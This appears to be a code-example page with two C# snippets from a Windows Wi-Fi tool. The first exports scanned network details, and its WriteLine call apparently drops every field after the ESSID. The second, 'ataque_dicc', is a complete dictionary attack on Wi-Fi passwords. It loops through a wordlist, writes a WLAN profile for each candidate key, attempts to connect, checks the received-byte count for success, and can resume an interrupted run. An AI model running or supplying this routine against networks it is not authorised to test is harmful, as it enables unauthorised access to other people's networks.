Пример #1
0
 public void exportWlanInfo(string filename)
 {
     if (filename.ToLower().Contains(".xml"))
     {
         infoWlan.WriteXml(filename);
     }
     else
     {
         using (StreamWriter r = new StreamWriter(filename))
         {
             foreach (DataSets.WlanInfo.WLANSRow row in infoWlan.WLANS.Rows)
             {
                 r.WriteLine(row.ESSID, row.BSSID, WlanClient.getAuth(row.Auth), WlanClient.getCipher(row.Cipher), row.PowerDbm);
             }
         }
     }
 }
Пример #2
0
        private void ataque_dicc()
        {
            long tcpPackets = get_session_ip();

            long performed = 0;

            MaxProgres = Utils.CountLinesInFile(diccionario);
            double percent = 0;
            string profileXml;
            bool   keyLista  = false;
            string tipo_key  = "";
            string index_key = "";

            System.IO.StreamReader reader = null;
            try{
                if (File.Exists(tmpFileName))
                {
                    if (continueAttack)
                    {
                        using (StreamReader r = new StreamReader(tmpFileName))
                        {
                            String line = null;
                            line = r.ReadLine();
                            String[] vars = line.Split(',');
                            strName     = vars[0];
                            strCipher   = vars[1];
                            diccionario = vars[2];
                            strAuth     = vars[3];
                            delay       = int.Parse(vars[4]);
                            reader      = new StreamReader(diccionario);
                            Key         = string.Empty;
                            while (!vars[5].Equals(Key) && !reader.EndOfStream)
                            {
                                Key = reader.ReadLine();

                                performed++;
                                percent = performed / MaxProgres * 100;
                                ReportProgress((int)percent);
                            }
                            keyLista = true;
                        }
                        File.Delete(tmpFileName);
                    } // cargar variables
                    else
                    {
                        File.Delete(tmpFileName);
                        reader = new StreamReader(diccionario);
                    }
                }
                else
                {
                    strName   = SelectedWlan.ESSID;
                    strCipher = WlanClient.getCipher(SelectedWlan.Cipher);
                    strAuth   = WlanClient.getAuth(SelectedWlan.Auth);
                    reader    = new StreamReader(diccionario);
                }

                while (!connected && !reader.EndOfStream && !CancellationPending)
                {
                    if (!keyLista)
                    {
                        Key = reader.ReadLine();
                    }
                    else
                    {
                        keyLista = false;
                    }
                    if (key_valid(Key, strCipher))
                    {
                        tipo_key = "passPhrase";
                        if (strCipher == "WEP")
                        {
                            tipo_key = "networkKey";
                        }
                        if (strAuth == "open")
                        {
                            index_key = "<keyIndex>0</keyIndex>";
                        }
                        profileXml = string.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><MSM><security><authEncryption><authentication>{2}</authentication><encryption>{3}</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>{4}</keyType><protected>false</protected><keyMaterial>{1}</keyMaterial></sharedKey>{5}</security></MSM></WLANProfile>",
                                                   strName, Key, strAuth, strCipher, tipo_key, index_key);
                        INTERFAZ.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
                        INTERFAZ.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, strName);
                        performed++;
                        percent = performed / MaxProgres * 100;
                        ReportProgress((int)percent);
                        while (INTERFAZ.InterfaceState == Wlan.WlanInterfaceState.Associating || INTERFAZ.InterfaceState == Wlan.WlanInterfaceState.Authenticating)
                        {
                            Thread.Sleep(50);
                        }

                        Thread.Sleep(delay * 1000);

                        if (Math.Abs(IfaceEthernet.GetIPv4Statistics().BytesReceived - tcpPackets) > 3)
                        {
                            connected = true;
                        }

                        if (!connected)
                        {
                            INTERFAZ.DeleteProfile(strName);
                        }
                        Thread.Sleep(50);


                        if (CancellationPending)
                        {
                            WorkerCancelled = true;
                        }
                    }
                }
            }

            catch (Exception ex) {
                Console.WriteLine(ex);
                Debug.WriteLine(ex);
            }
            finally { if (reader != null)
                      {
                          reader.Close();
                      }
            }
        }